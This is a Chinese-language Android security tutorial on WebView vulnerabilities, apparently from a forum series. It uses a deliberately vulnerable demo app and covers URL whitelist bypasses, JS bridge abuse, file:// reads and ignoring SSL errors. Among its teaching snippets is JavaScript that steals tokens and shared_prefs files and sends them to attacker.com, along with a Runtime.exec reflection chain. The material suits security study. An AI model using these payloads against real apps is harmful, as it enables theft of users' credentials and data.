18 KiB
Android移动安全第五章_WebView安全
QIANXIN Team 来源:https://forum.butian.net/share/4840
系列目录:
- Android 组件导出安全
- Android Intent 安全
- Android Binder 服务安全
- Android ContentProvider 安全
- Android WebView 安全(本章)
- Android UI 欺骗与钓鱼
- Android Deep Link 安全
- Android 广播安全
- Android PendingIntent 安全
- Android 系统设置安全
- Android SSRF 与网络安全
- Android 加密与数据存储安全
- Android 认证与证书校验
- Android Zip Slip 路径遍历
- Android Fragment Injection
- Android SELinux 与沙箱机制
1. 前言
很多 Android App 不是纯原生开发的,它们会用 WebView(Android 提供的内嵌浏览器组件)加载 HTML 页面来实现部分功能——活动页、帮助文档、支付页面、甚至整个应用的主界面。这种开发方式通常叫混合开发(Hybrid),原生代码和 Web 页面各负责一部分功能。
WebView 运行在 App 进程中,能执行 JavaScript、访问网络、渲染 HTML/CSS,底层和 Chrome 使用相同的渲染引擎(Chromium)。和独立浏览器不同的是,WebView 拥有宿主 App 的所有权限,而且可以通过 JavaScript Bridge(JS 桥接,后面第 4 节会详细讲)与原生代码交互。如果攻击者能控制 WebView 加载的内容,就等于在 App 的上下文中执行代码。
本章围绕 WebView 的几个攻击方向展开:URL 来源是否可控、JavaScript 接口暴露、文件协议访问、URL 跳转拦截逻辑、以及 SSL 证书校验。
2. WebView 基础配置
2.1 基本使用
在 Activity 中使用 WebView:
WebView webView = findViewById(R.id.webview);
webView.loadUrl("https://example.com");
默认情况下 WebView 的功能比较受限——JavaScript 禁用、不能访问本地文件、没有 JS Bridge。开发者需要通过 WebSettings(WebView 的配置类)逐项开启:
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setDomStorageEnabled(true);
每开启一项,就多一个攻击面。
2.2 WebViewClient 与 URL 拦截
WebViewClient 是 WebView 的事件回调接口,开发者通过它控制页面加载行为。其中 shouldOverrideUrlLoading() 在 WebView 即将加载一个新 URL 时被调用,开发者可以在这里拦截并自行处理:
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
String url = request.getUrl().toString();
if (url.startsWith("myapp://")) {
handleCustomScheme(url);
return true;
}
return false;
}
});
这个方法是很多漏洞的触发点——拦截逻辑有缺陷的话,攻击者可以绕过白名单加载恶意页面,或者通过自定义协议触发敏感操作。
2.3 WebChromeClient
WebChromeClient 处理 JavaScript 的 UI 交互,比如 alert()、confirm()、prompt() 弹窗,以及文件选择(<input type="file">)、地理位置请求等。
从安全角度看,onShowFileChooser() 值得注意——如果 WebView 加载了攻击者控制的页面,页面中的 <input type="file"> 可以触发文件选择器,用户选择的文件会被上传到攻击者的服务器。
3. 任意 URL 加载
3.1 原理
导出的 Activity 从 Intent 中读取 URL,然后传给 WebView.loadUrl(),没有做校验:
public class WebActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_web);
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
String url = getIntent().getStringExtra("url");
if (url != null) {
webView.loadUrl(url);
}
}
}
攻击者可以让这个 WebView 加载任意页面。如果 WebView 还启用了 JavaScript 并注册了 JS Bridge,攻击者的页面就能调用 App 暴露的原生方法。
3.2 URL 白名单绕过
有些开发者会加一个域名白名单检查:
String url = getIntent().getStringExtra("url");
if (url != null && url.contains("example.com")) {
webView.loadUrl(url);
}
这种基于字符串包含的检查容易绕过:
https://evil.com/example.com— 路径中包含目标域名https://example.com.evil.com— 子域名伪造https://evil.com?redirect=example.com— 参数中包含
正确的做法是解析 URL 后检查 host:
Uri uri = Uri.parse(url);
String host = uri.getHost();
if (host != null && (host.endsWith(".example.com") || "example.com".equals(host))) {
webView.loadUrl(url);
}
但即使 host 检查正确,如果目标域名本身存在开放重定向(Open Redirect,服务端根据参数跳转到任意 URL 的功能),攻击者仍然可以通过 https://example.com/redirect?to=https://evil.com 绕过白名单。
下面用配套的演示 App(com.demo.webviewsecurity)来展示。VulnWebActivity 从 Intent 读取 URL 直接加载,没有任何校验:
adb shell am start -n com.demo.webviewsecurity/.VulnWebActivity \
--es url "https://example.com"
WebView 加载了外部传入的 URL:
传入攻击者控制的页面时,页面中的 JavaScript 就在 App 的上下文中执行。
4. JavaScript Bridge 暴露
4.1 addJavascriptInterface
Android 提供了 addJavascriptInterface() 方法,让开发者把 Java 对象暴露给 WebView 中的 JavaScript 代码。注册后,WebView 中加载的任何页面都可以通过 JavaScript 调用这些方法:
public class AppBridge {
private Context context;
public AppBridge(Context context) {
this.context = context;
}
@JavascriptInterface
public String getToken() {
SharedPreferences prefs = context.getSharedPreferences("auth", MODE_PRIVATE);
return prefs.getString("token", "");
}
@JavascriptInterface
public String getDeviceId() {
return Settings.Secure.getString(
context.getContentResolver(), Settings.Secure.ANDROID_ID);
}
@JavascriptInterface
public void writeFile(String filename, String content) {
File file = new File(context.getFilesDir(), filename);
}
}
webView.addJavascriptInterface(new AppBridge(this), "NativeBridge");
网页中的 JavaScript 通过 window.NativeBridge 调用:
var token = NativeBridge.getToken();
var deviceId = NativeBridge.getDeviceId();
NativeBridge.writeFile("config.txt", "malicious_content");
@JavascriptInterface 注解是 Android 4.2(API 17)引入的,标记哪些方法可以被 JavaScript 调用。没有这个注解的方法不会暴露。在 Android 4.2 之前,注册的对象的所有 public 方法都会暴露,包括从 Object 继承的 getClass()——攻击者可以通过反射链执行任意 Java 代码。
4.2 攻击条件
JS Bridge 暴露的危害取决于两个条件:
- 攻击者能否控制 WebView 加载的页面(任意 URL 加载漏洞)
- Bridge 暴露了哪些方法
两个条件同时满足时,攻击者的页面就能调用 App 的原生方法。常见的危险方法类型:
| 方法类型 | 示例 | 危害 |
|---|---|---|
| 读取凭证 | getToken()、getCookie() | 窃取认证信息 |
| 读取设备信息 | getDeviceId()、getPhoneNumber() | 隐私泄露 |
| 文件操作 | readFile()、writeFile() | 读写 App 沙箱文件 |
| 执行命令 | exec()、runCommand() | 命令执行 |
| 发送请求 | httpRequest()、postData() | SSRF、数据外传 |
4.3 演示
演示 App 的 VulnBridgeActivity 注册了一个 JS Bridge(NativeBridge),暴露了 getToken()、getDeviceInfo()、writeLog() 三个方法。默认加载一个内置的演示页面,页面中的 JavaScript 调用这些方法并显示结果:
adb shell am start -n com.demo.webviewsecurity/.VulnBridgeActivity
内置演示页面提供了三个按钮,分别调用 Bridge 暴露的方法:
通过 logcat 可以看到 Bridge 方法被调用:
adb logcat -s NativeBridge
输出:
I NativeBridge: getToken() called, returning: eyJhbGciOiJIUzI1NiJ9.demo_secret_token
I NativeBridge: getDeviceInfo() called, returning: Model=23049RAD8C, SDK=35, Brand=Redmi
I NativeBridge: writeLog() called: test_log_from_javascript_1771751687876
getToken() 返回了 App 存储的认证 token,getDeviceInfo() 返回了设备型号和系统版本,writeLog() 向 App 私有目录写入了日志。这些操作都是网页中的 JavaScript 触发的。
也可以通过 Intent 传入外部 URL,让 WebView 加载攻击者的页面,效果相同:
adb shell am start -n com.demo.webviewsecurity/.VulnBridgeActivity \
--es url "https://attacker.com/steal.html"
攻击者的页面可以执行:
var token = NativeBridge.getToken();
var info = NativeBridge.getDeviceInfo();
new Image().src = "https://attacker.com/collect?token=" + token + "&info=" + info;
5. file:// 协议攻击
5.1 相关配置项
WebView 有几个控制文件访问的配置:
| 配置项 | 默认值 | 作用 |
|---|---|---|
| setAllowFileAccess | API < 30: true; API >= 30: false | 是否允许加载 file:// URL |
| setAllowFileAccessFromFileURLs | API < 16: true; 之后: false | file:// 页面能否通过 JS 读取其他 file:// |
| setAllowUniversalAccessFromFileURLs | API < 16: true; 之后: false | file:// 页面能否通过 JS 访问任意来源 |
| setAllowContentAccess | true | 是否允许加载 content:// URL |
setAllowFileAccessFromFileURLs 和 setAllowUniversalAccessFromFileURLs 允许通过 file:// 加载的页面用 JavaScript(XMLHttpRequest 或 fetch)读取设备上的其他文件。
5.2 攻击原理
如果 WebView 同时满足以下条件:
- 允许加载 file:// URL(setAllowFileAccess(true))
- 启用了 JavaScript(setJavaScriptEnabled(true))
- 允许 file:// 页面跨域读取(setAllowFileAccessFromFileURLs(true) 或 setAllowUniversalAccessFromFileURLs(true))
- 攻击者能控制加载的 URL
攻击者可以让 WebView 加载一个本地 HTML 文件,文件中的 JavaScript 读取 App 沙箱内的其他文件:
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.target.app/shared_prefs/auth.xml", true);
xhr.onload = function() {
new Image().src = "https://attacker.com/collect?data=" + encodeURIComponent(xhr.responseText);
};
xhr.send();
5.3 利用路径
攻击者需要先把恶意 HTML 文件放到设备上,然后让目标 App 的 WebView 加载它。常见的方式:
- 通过另一个漏洞(比如上一章讲的 ContentProvider openFile 路径遍历)向目标 App 的目录写入 HTML 文件
- 利用 App 的下载功能,让 App 自己下载恶意 HTML 到已知路径
- 把 HTML 文件放到外部存储(/sdcard/),然后通过任意 URL 加载漏洞让 WebView 加载
file:///sdcard/evil.html
5.4 演示
演示 App 的 VulnFileActivity 开启了 setAllowFileAccessFromFileURLs(true) 和 setJavaScriptEnabled(true),并且接受 Intent 传入的 URL。
先在设备上创建一个测试 HTML 文件,然后让 WebView 加载它:
adb shell "run-as com.demo.webviewsecurity sh -c \
'echo \"<html><body><h3>file:// loaded</h3><script>document.write(location.href)</script></body></html>\" \
> /data/data/com.demo.webviewsecurity/files/test.html'"
adb shell am start -n com.demo.webviewsecurity/.VulnFileActivity \
--es url "file:///data/data/com.demo.webviewsecurity/files/test.html"
WebView 加载了本地文件:
在 setAllowFileAccessFromFileURLs(true) 的配置下,页面中的 JavaScript 可以通过 XMLHttpRequest 读取同一 App 沙箱内的其他文件。
6. shouldOverrideUrlLoading 绕过
6.1 首次加载不触发
shouldOverrideUrlLoading() 只在页面内的链接跳转时触发,不会在 loadUrl() 直接加载时触发。如果攻击者能控制 loadUrl() 的参数,白名单检查根本不会执行:
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
String url = request.getUrl().toString();
if (!isWhitelisted(url)) {
return true;
}
return false;
}
String url = getIntent().getStringExtra("url");
webView.loadUrl(url);
6.2 重定向和 JavaScript 跳转
HTTP 302 重定向在某些 Android 版本上不会触发 shouldOverrideUrlLoading()。攻击者可以先让 WebView 加载一个白名单内的 URL,该 URL 返回 302 重定向到恶意页面。
通过 JavaScript 的 window.location 跳转在某些情况下也不会触发拦截:
window.location = "https://evil.com";
window.location.replace("https://evil.com");
6.3 自定义协议处理
很多 App 在 shouldOverrideUrlLoading() 中处理自定义协议(如 myapp://、jsbridge://)。如果处理逻辑不安全,攻击者可以通过构造特殊 URL 触发敏感操作:
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
String url = request.getUrl().toString();
if (url.startsWith("jsbridge://")) {
String[] parts = url.replace("jsbridge://", "").split("/");
String method = parts[0];
if ("getToken".equals(method)) {
String token = getAuthToken();
view.evaluateJavascript("callback('" + token + "')", null);
} else if ("writeFile".equals(method)) {
writeFile(parts[1], parts[2]);
}
return true;
}
return false;
}
这种基于 URL 的 JS Bridge 和 addJavascriptInterface 的风险类似,但更隐蔽——不需要注册 JavaScript 接口,只需要在 WebView 中加载一个包含 <iframe src="jsbridge://getToken"> 的页面就能触发。
7. SSL 错误处理
当 WebView 加载 HTTPS 页面遇到证书错误时(过期、域名不匹配、自签名等),会回调 onReceivedSslError()。正确的做法是取消加载:
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
handler.cancel();
}
但有些开发者直接调用 handler.proceed() 忽略证书错误:
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
handler.proceed();
}
这等于禁用了 HTTPS 的证书验证,中间人攻击(MITM,Man-In-The-Middle,攻击者在通信双方之间截获和篡改数据)可以拦截和篡改 WebView 加载的所有 HTTPS 内容。
Google Play 会检测并拒绝包含 handler.proceed() 的应用上架,但国内应用市场和系统预装 App 不受此限制。
8. 版本演进
8.1 Android 4.2(API 17):@JavascriptInterface 注解
Android 4.2 之前,addJavascriptInterface() 注册的对象的所有 public 方法都暴露给 JavaScript,包括从 Object 继承的 getClass() 方法。攻击者可以通过反射链执行任意命令:
var obj = window.injectedObj;
var runtime = obj.getClass().forName("java.lang.Runtime");
var exec = runtime.getMethod("exec", obj.getClass().forName("java.lang.String"));
var process = exec.invoke(runtime.getMethod("getRuntime").invoke(null), "id");
Android 4.2 引入 @JavascriptInterface 注解后,只有标记了该注解的方法才会暴露。
8.2 Android 5.0(API 21):独立 WebView 进程
从 Android 5.0 开始,WebView 的渲染引擎从 App 进程中分离,运行在独立的沙箱进程中。即使渲染引擎存在内存破坏漏洞,攻击者也需要额外的沙箱逃逸才能影响 App 进程。
但 JS Bridge 的调用仍然在 App 进程中执行,addJavascriptInterface 暴露的方法不受进程隔离的保护。
8.3 Android 7.0(API 24):WebView 独立更新
Android 7.0 开始,WebView 组件通过 Google Play 独立更新,不依赖系统 OTA。但国内设备通常没有 Google Play,WebView 更新依赖厂商的系统更新。
8.4 Android 9.0(API 28):默认禁用明文 HTTP
Android 9.0 引入了 Network Security Config(网络安全配置),默认禁止明文 HTTP 流量。WebView 加载 http:// URL 会被阻止,除非 App 在配置中显式允许:
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>
8.5 Android 11(API 30):file:// 访问默认关闭
Android 11 开始,setAllowFileAccess() 的默认值从 true 改为 false。WebView 默认不再能加载 file:// URL。但如果开发者显式设置 setAllowFileAccess(true),风险依然存在。
9. 总结
WebView 把 Web 的攻击面引入了 Android App。
回顾一下:
- 任意 URL 加载是基础漏洞,攻击者控制了 WebView 加载的内容,后续的 JS Bridge 调用、文件读取都建立在这个前提上
- addJavascriptInterface 暴露的方法决定了攻击者能做什么,getToken、writeFile 这类方法暴露后可以被任意页面调用
- file:// 协议配合 setAllowFileAccessFromFileURLs 可以读取 App 沙箱内的文件,Android 11+ 默认关闭了 file:// 访问
- shouldOverrideUrlLoading 的拦截逻辑有多种绕过方式,loadUrl 直接加载时不触发
- onReceivedSslError 中调用 handler.proceed() 等于禁用了 HTTPS 证书验证
下一章讲 Android UI 欺骗与钓鱼。WebView 可以加载攻击者的页面,而 UI 欺骗利用 Android 的窗口机制,在受害 App 上方覆盖伪造的界面,诱导用户输入密码或点击授权。
通过网盘分享的文件:webviwe.apk
链接: https://pan.baidu.com/s/1QetwOe2HzSDHCp6K51PbpQ?pwd=bnv4 提取码: bnv4


